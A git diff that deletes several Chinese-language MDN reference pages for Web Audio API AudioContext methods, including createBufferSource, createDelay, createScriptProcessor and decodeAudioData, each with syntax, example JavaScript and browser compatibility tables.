- - diff --git a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html b/files/zh-cn/web/api/audiocontext/createbuffersource/index.html deleted file mode 100644 index 5244513312..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: AudioContext.createBufferSource() -slug: Web/API/AudioContext/createBufferSource -tags: - - API - - 音源 - - 音频源 - - 音频节点 -translation_of: Web/API/BaseAudioContext/createBufferSource ---- -

{{ APIRef("Web Audio API") }}

- -
-

createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

-
- -

语法

- -
var audioCtx = new AudioContext();
-var source = audioCtx.createBufferSource();
- -

返回

- -

一个{{domxref("AudioBufferSourceNode")}}对象.

- -

例子

- -

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

- -
-

Note: You can also run the code live, or view the source.

-
- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var button = document.querySelector('button');
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-
-pre.innerHTML = myScript.innerHTML;
-
-// Stereo
-var channels = 2;
-// Create an empty two second stereo buffer at the
-// sample rate of the AudioContext
-var frameCount = audioCtx.sampleRate * 2.0;
-
-var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
-
-button.onclick = function() {
-  // Fill the buffer with white noise;
-  //just random values between -1.0 and 1.0
-  for (var channel = 0; channel < channels; channel++) {
-   // This gives us the actual ArrayBuffer that contains the data
-   var nowBuffering = myArrayBuffer.getChannelData(channel);
-   for (var i = 0; i < frameCount; i++) {
-     // Math.random() is in [0; 1.0]
-     // audio needs to be in [-1.0; 1.0]
-     nowBuffering[i] = Math.random() * 2 - 1;
-   }
-  }
-
-  // Get an AudioBufferSourceNode.
-  // This is the AudioNode to use when we want to play an AudioBuffer
-  var source = audioCtx.createBufferSource();
-  // set the buffer in the AudioBufferSourceNode
-  source.buffer = myArrayBuffer;
-  // connect the AudioBufferSourceNode to the
-  // destination so we can hear the sound
-  source.connect(audioCtx.destination);
-  // start the source playing
-  source.start();
-}
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html deleted file mode 100644 index 281dcddfe7..0000000000 --- a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: AudioContext.createChannelMerger() -slug: Web/API/AudioContext/createChannelMerger -tags: - - API - - Audio - - AudioContext - - Audio_Chinese -translation_of: Web/API/BaseAudioContext/createChannelMerger ---- -

{{ APIRef("Web Audio API") }}

- -
-

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var merger = audioCtx.createChannelMerger(2);
- -

参数

- -
-
numberOfInputs
-
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
-
- -

返回值

- -

一个 {{domxref("ChannelMergerNode")}}.

- -

(举个)栗(例)子

- -

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

- -
var ac = new AudioContext();
-ac.decodeAudioData(someStereoBuffer, function(data) {
- var source = ac.createBufferSource();
- source.buffer = data;
- var splitter = ac.createChannelSplitter(2);
- source.connect(splitter);
- var merger = ac.createChannelMerger(2);
-
- // Reduce the volume of the left channel only
- var gainNode = ac.createGain();
- gainNode.gain.value = 0.5;
- splitter.connect(gainNode, 0);
-
- // Connect the splitter back to the second input of the merger: we
- // effectively swap the channels, here, reversing the stereo image.
- gainNode.connect(merger, 0, 1);
- splitter.connect(merger, 1, 0);
-
- var dest = ac.createMediaStreamDestination();
-
- // Because we have used a ChannelMergerNode, we now have a stereo
- // MediaStream we can use to pipe the Web Audio graph to WebRTC,
- // MediaRecorder, etc.
- merger.connect(dest);
-});
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

相关页面

- - diff --git a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html deleted file mode 100644 index f46f5be2c5..0000000000 --- a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: AudioContext.createChannelSplitter() -slug: Web/API/AudioContext/createChannelSplitter -translation_of: Web/API/BaseAudioContext/createChannelSplitter ---- -

{{ APIRef("Web Audio API") }}

- -
-

The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

-
- -

Syntax

- -
var audioCtx = new AudioContext();
-var splitter = audioCtx.createChannelSplitter(2);
- -

参数

- -
-
numberOfOutputs
-
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
-
- -

Returns

- -

一个 {{domxref("ChannelSplitterNode")}}.

- -

Example

- -

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

- -
var ac = new AudioContext();
-ac.decodeAudioData(someStereoBuffer, function(data) {
- var source = ac.createBufferSource();
- source.buffer = data;
- var splitter = ac.createChannelSplitter(2);
- source.connect(splitter);
- var merger = ac.createChannelMerger(2);
-
- // Reduce the volume of the left channel only
- var gainNode = ac.createGain();
- gainNode.gain.value = 0.5;
- splitter.connect(gainNode, 0);
-
- // Connect the splitter back to the second input of the merger: we
- // effectively swap the channels, here, reversing the stereo image.
- gainNode.connect(merger, 0, 1);
- splitter.connect(merger, 1, 0);
-
- var dest = ac.createMediaStreamDestination();
-
- // Because we have used a ChannelMergerNode, we now have a stereo
- // MediaStream we can use to pipe the Web Audio graph to WebRTC,
- // MediaRecorder, etc.
- merger.connect(dest);
-});
- -

规格

- - - - - - - - - - - - - - -
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createconvolver/index.html b/files/zh-cn/web/api/audiocontext/createconvolver/index.html deleted file mode 100644 index 2cbe395edc..0000000000 --- a/files/zh-cn/web/api/audiocontext/createconvolver/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: AudioContext.createConvolver() -slug: Web/API/AudioContext/createConvolver -translation_of: Web/API/BaseAudioContext/createConvolver ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var convolver = audioCtx.createConvolver();
- -

返回值

- -

{{domxref("ConvolverNode")}}对象。

- -

例子

- -

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

- -

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var convolver = audioCtx.createConvolver();
-
-  ...
-
-// grab audio track via XHR for convolver node
-
-var soundSource, concertHallBuffer;
-
-ajaxRequest = new XMLHttpRequest();
-ajaxRequest.open('GET', 'concert-crowd.ogg', true);
-ajaxRequest.responseType = 'arraybuffer';
-
-ajaxRequest.onload = function() {
-  var audioData = ajaxRequest.response;
-  audioCtx.decodeAudioData(audioData, function(buffer) {
-      concertHallBuffer = buffer;
-      soundSource = audioCtx.createBufferSource();
-      soundSource.buffer = concertHallBuffer;
-    }, function(e){"Error with decoding audio data" + e.err});
-}
-
-ajaxRequest.send();
-
-  ...
-
-convolver.buffer = concertHallBuffer;
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createdelay/index.html b/files/zh-cn/web/api/audiocontext/createdelay/index.html deleted file mode 100644 index b8e502758d..0000000000 --- a/files/zh-cn/web/api/audiocontext/createdelay/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: AudioContext.createDelay() -slug: Web/API/AudioContext/createDelay -translation_of: Web/API/BaseAudioContext/createDelay ---- -

{{ APIRef("Web Audio API") }}

- -
-

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

- -

 

-
- -

语法

- -
var audioCtx = new AudioContext();
-var synthDelay = audioCtx.createDelay(maxDelayTime);
- -

参数

- -
-
maxDelayTime
-
设置最大允许延迟的时间,以“秒”为单位
-
- -

返回

- -

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

- -

以上是原文,大意是返回延时时间,没有设置时默认是0

- -

 

- -

示例

- -

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

- -
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
-
-try {//音频相关api
-    var audioContext = new window.AudioContext();
-    var synthDelay = audioContext.createDelay(5.0);
-} catch (e) {
-    alert("你浏览器不支持");
-}
-
-
-var error = function (error) {alert("有错误"); };
-
-//以下是获取麦克风
-if (navigator.getUserMedia) { //标准api
- navigator.getUserMedia({ "audio": true },
- function (stream) {
- micto(stream);    //具体工作
-                   }, error);
-}else if(navigator.webkitGetUserMedia) {   //webkit api
- navigator.webkitGetUserMedia({audio:true, video:  false },
- function (stream) {
-  micto(stream); //具体工作
-                   }, error);
- }else if (navigator.mozGetUserMedia) {  //火狐 api
- navigator.mozGetUserMedia({ "audio": true },
- function (stream) {
-  micto(stream);//具体工作
-                   }, error);
- }else if (navigator.msGetUserMedia) { //ie api
- navigator.msGetUserMedia({ "audio": true },
- function (stream) {
-  micto(stream);//具体工作
-                   }, error);
- } else {
-   alert("您的浏览器版不支持这个api");
-}
-
-
-
-
-
- var micto = function(stream) {
-
-  synthDelay.delayTime.value = 3.0;   //延迟3秒
-
-  var source = audioContext.createMediaStreamSource(stream);
-
-  source.connect(synthDelay);
-
-  synthDelay.connect(audioContext.destination);
-
-      }
- 
- -

 

- -

 以下是英文版示例

- -

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-
-var synthDelay = audioCtx.createDelay(5.0);
-
-  ...
-
-var synthSource;
-
-playSynth.onclick = function() {
-  synthSource = audioCtx.createBufferSource();
-  synthSource.buffer = buffers[2];
-  synthSource.loop = true;
-  synthSource.start();
-  synthSource.connect(synthDelay);
-  synthDelay.connect(destination);
-  this.setAttribute('disabled', 'disabled');
-}
-
-stopSynth.onclick = function() {
-  synthSource.disconnect(synthDelay);
-  synthDelay.disconnect(destination);
-  synthSource.stop();
-  playSynth.removeAttribute('disabled');
-}
-
-...
-
-var delay1;
-rangeSynth.oninput = function() {
-delay1 = rangeSynth.value;
-synthDelay.delayTime.value = delay1;
-}
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createDelay-DelayNode-double-maxDelayTime', 'createDelay()')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html deleted file mode 100644 index 7e505bc06a..0000000000 --- a/files/zh-cn/web/api/audiocontext/createscriptprocessor/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: AudioContext.createScriptProcessor() -slug: Web/API/AudioContext/createScriptProcessor -translation_of: Web/API/BaseAudioContext/createScriptProcessor ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }} 接口的createScriptProcessor() 方法创建一个{{domxref("ScriptProcessorNode")}} 用于通过JavaScript直接处理音频.

-
- -

语法

- -
var audioCtx = new AudioContext();
-myScriptProcessor = audioCtx.createScriptProcessor(bufferSize, numberOfInputChannels, numberOfOutputChannels);
- -

参数

- -
-
bufferSize
-
缓冲区大小,以样本帧为单位。具体来讲,缓冲区大小必须是下面这些值当中的某一个: 256, 512, 1024, 2048, 4096, 8192, 16384. 如果不传,或者参数为0,则取当前环境最合适的缓冲区大小, 取值为2的幂次方的一个常数,在该node的整个生命周期中都不变.
-
该取值控制着audioprocess事件被分派的频率,以及每一次调用多少样本帧被处理. 较低bufferSzie将导致一定的延迟。较高的bufferSzie就要注意避免音频的崩溃和故障。推荐作者不要给定具体的缓冲区大小,让系统自己选一个好的值来平衡延迟和音频质量。
-
numberOfInputChannels
-
值为整数,用于指定输入node的声道的数量,默认值是2,最高能取32.
-
numberOfOutputChannels
-
值为整数,用于指定输出node的声道的数量,默认值是2,最高能取32.
-
- -
-

重要: Webkit (version 31)要求调用这个方法的时候必须传入一个有效的bufferSize .

-
- -
-

注意: numberOfInputChannelsnumberOfOutputChannels的值不能同时为0,二者同时为0是无效的

-
- -

返回

- -

A {{domxref("ScriptProcessorNode")}}.

- -

示例

- -

下面的例子展示了一个ScriptProcessorNode的基本用法,数据源取自 {{ domxref("AudioContext.decodeAudioData") }}, 给每一个音频样本加一点白噪声,然后通过{{domxref("AudioDestinationNode")}}播放(其实这个就是系统的扬声器)。 对于每一个声道和样本帧,在把结果当成输出样本之前,scriptNode.onaudioprocess方法关联audioProcessingEvent ,并用它来遍历每输入流的每一个声道,和每一个声道中的每一个样本,并添加一点白噪声。

- -
-

注意: 完整的示例参照 script-processor-node github (查看源码 source code.)

-
- -
var myScript = document.querySelector('script');
-var myPre = document.querySelector('pre');
-var playButton = document.querySelector('button');
-
-// Create AudioContext and buffer source
-var audioCtx = new AudioContext();
-source = audioCtx.createBufferSource();
-
-// Create a ScriptProcessorNode with a bufferSize of 4096 and a single input and output channel
-var scriptNode = audioCtx.createScriptProcessor(4096, 1, 1);
-console.log(scriptNode.bufferSize);
-
-// load in an audio track via XHR and decodeAudioData
-
-function getData() {
-  request = new XMLHttpRequest();
-  request.open('GET', 'viper.ogg', true);
-  request.responseType = 'arraybuffer';
-  request.onload = function() {
-    var audioData = request.response;
-
-    audioCtx.decodeAudioData(audioData, function(buffer) {
-    myBuffer = buffer;
-    source.buffer = myBuffer;
-  },
-    function(e){"Error with decoding audio data" + e.err});
-  }
-  request.send();
-}
-
-// Give the node a function to process audio events
-scriptNode.onaudioprocess = function(audioProcessingEvent) {
-  // The input buffer is the song we loaded earlier
-  var inputBuffer = audioProcessingEvent.inputBuffer;
-
-  // The output buffer contains the samples that will be modified and played
-  var outputBuffer = audioProcessingEvent.outputBuffer;
-
-  // Loop through the output channels (in this case there is only one)
-  for (var channel = 0; channel < outputBuffer.numberOfChannels; channel++) {
-    var inputData = inputBuffer.getChannelData(channel);
-    var outputData = outputBuffer.getChannelData(channel);
-
-    // Loop through the 4096 samples
-    for (var sample = 0; sample < inputBuffer.length; sample++) {
-      // make output equal to the same as the input
-      outputData[sample] = inputData[sample];
-
-      // add noise to each output sample
-      outputData[sample] += ((Math.random() * 2) - 1) * 0.2;
-    }
-  }
-}
-
-getData();
-
-// wire up play button
-playButton.onclick = function() {
-  source.connect(scriptNode);
-  scriptNode.connect(audioCtx.destination);
-  source.start();
-}
-
-// When the buffer source stops playing, disconnect everything
-source.onended = function() {
-  source.disconnect(scriptNode);
-  scriptNode.disconnect(audioCtx.destination);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createScriptProcessor-ScriptProcessorNode-unsigned-long-bufferSize-unsigned-long-numberOfInputChannels-unsigned-long-numberOfOutputChannels', 'createScriptProcessor')}}{{Spec2('Web Audio API')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html deleted file mode 100644 index 7aef8d5688..0000000000 --- a/files/zh-cn/web/api/audiocontext/createwaveshaper/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: AudioContext.createWaveShaper() -slug: Web/API/AudioContext/createWaveShaper -translation_of: Web/API/BaseAudioContext/createWaveShaper ---- -

{{ APIRef("Web Audio API") }}

- -

{{ domxref("AudioContext") }} 接口的createWaveShaper()方法创建了 表示非线性失真的{{ domxref("WaveShaperNode") }}。该节点通常被用来给音频添加失真效果

- -

语法

- -
var audioCtx = new AudioContext();
-var distortion = audioCtx.createWaveShaper();
- -

返回

- -

A {{domxref("WaveShaperNode")}}.

- -

例子

- -

The following example shows basic usage of an AudioContext to create a wave shaper node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code).

- -

下面的例子展示了AudioContext创建一个波形整形器节点的基本用法。有关应用示例/信息,请查看我们的oice-change-O-matic demo演示(有关代码,请参阅app.js)。

- -
-

:实现失真曲线并不是简单的事情,你可能需要到处找资料来找到这样的算法。我们在Stack Overflow上找到了以下的失真曲线代码

-
- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var distortion = audioCtx.createWaveShaper();
-
-  ...
-
-function makeDistortionCurve(amount) {
-  var k = typeof amount === 'number' ? amount : 50,
-    n_samples = 44100,
-    curve = new Float32Array(n_samples),
-    deg = Math.PI / 180,
-    i = 0,
-    x;
-  for ( ; i < n_samples; ++i ) {
-    x = i * 2 / n_samples - 1;
-    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
-  }
-  return curve;
-};
-
-  ...
-
-distortion.curve = makeDistortionCurve(400);
-distortion.oversample = '4x';
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createWaveShaper-WaveShaperNode', 'createWaveShaper()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/currenttime/index.html b/files/zh-cn/web/api/audiocontext/currenttime/index.html deleted file mode 100644 index fbdaf4315c..0000000000 --- a/files/zh-cn/web/api/audiocontext/currenttime/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.currentTime -slug: Web/API/AudioContext/currentTime -translation_of: Web/API/BaseAudioContext/currentTime ---- -

{{ APIRef("Web Audio API") }}

- -
-

currentTime是{{ domxref("AudioContext") }}的一个read-only属性,返回double秒(从0开始)表示一个只增不减的硬件时间戳,可以用来控制音频回放,实现可视化时间轴等等。

-
- -

语法

- -
var audioCtx = new AudioContext();
-console.log(audioCtx.currentTime);
- -

返回值

- -

A double.

- -

例子

- -
-

注意:想要完整的Web Audio例子的话,可以去MDN Github repo看DEMO(例如panner-node不妨试试在浏览器控制台输入audioCtx.currentTime。

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-console.log(audioCtx.currentTime);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html b/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html deleted file mode 100644 index 40693fd8cc..0000000000 --- a/files/zh-cn/web/api/audiocontext/decodeaudiodata/index.html +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: AudioContext.decodeAudioData() -slug: Web/API/AudioContext/decodeAudioData -tags: - - API - - Audio - - audio接口 - - 音频解码 -translation_of: Web/API/BaseAudioContext/decodeAudioData ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}接口的decodeAudioData()方法可用于异步解码音频文件中的 {{domxref("ArrayBuffer")}}. ArrayBuffer数据可以通过{{domxref("XMLHttpRequest")}}和{{domxref("FileReader")}}来获取. AudioBuffer是通过AudioContext采样率进行解码的,然后通过回调返回结果.

-
- -

这是从音频轨道创建用于web audio API音频源的首选方法。

- -

语法

- -

旧版的回调函数语法

- -
audioCtx.decodeAudioData(audioData, function(decodedData) {
-  // use the dec​oded data here
-});
- -

新版的promise-based语法:

- -
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
-  // use the decoded data here
-});
- -

举例

- -

在本章节中,我们将首先学习基于回调的系统,然后采用新的基于promise-based的语法

- -

旧的回调语法

- -

在这个事例中, getData() 方法使用XHR加载一个音轨,设置请求的responsetype为ArrayBuffer使它返回一个arraybuffer数据,然后存储在audioData变量中. 然后我们将这个arraybuffer数据置于decodeAudioData()方法中使用,当成功解码PCM Data后通过回调返回, 将返回的结果通过{{ domxref("AudioContext.createBufferSource()") }}接口进行处理并获得一个{{ domxref("AudioBufferSourceNode") }}, 将源连接至{{domxref("AudioContext.destination") }}并将它设置为循环的.

- -

通过按钮来运行 getData() 来获取音轨并播放它. 当使用 stop() 方法后source将会被清除.

- -
-

Note: You can run the example live (or view the source.)

-
- -
// define variables
-
-var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var source;
-
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-var play = document.querySelector('.play');
-var stop = document.querySelector('.stop');
-
-// use XHR to load an audio track, and
-// decodeAudioData to decode it and stick it in a buffer.
-// Then we put the buffer into the source
-
-function getData() {
-  source = audioCtx.createBufferSource();
-  var request = new XMLHttpRequest();
-
-  request.open('GET', 'viper.ogg', true);
-
-  request.responseType = 'arraybuffer';
-
-
-  request.onload = function() {
-    var audioData = request.response;
-
-    audioCtx.decodeAudioData(audioData, function(buffer) {
-        source.buffer = buffer;
-
-        source.connect(audioCtx.destination);
-        source.loop = true;
-      },
-
-      function(e){"Error with decoding audio data" + e.err});
-
-  }
-
-  request.send();
-}
-
-// wire up buttons to stop and play audio
-
-play.onclick = function() {
-  getData();
-  source.start(0);
-  play.setAttribute('disabled', 'disabled');
-}
-
-stop.onclick = function() {
-  source.stop(0);
-  play.removeAttribute('disabled');
-}
-
-
-// dump script to pre element
-
-pre.innerHTML = myScript.innerHTML;
- -

新的promise-based语法

- -
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
- // use the decoded data here
-});
- -

参数

- -
-
ArrayBuffer
-
将会被解码的音频数据,可通过{{domxref("XMLHttpRequest")}}或{{domxref("FileReader")}}来获取.
-
DecodeSuccessCallback
-
当成功解码后会被调用的回调函数. 该回调函数只有一个AudioBuffer类型参数.
-
DecodeErrorCallback
-
一个可选的错误回调函数.
-
- -

返回

- -

一个 {{domxref("Promise") }}对象.

- -

标准

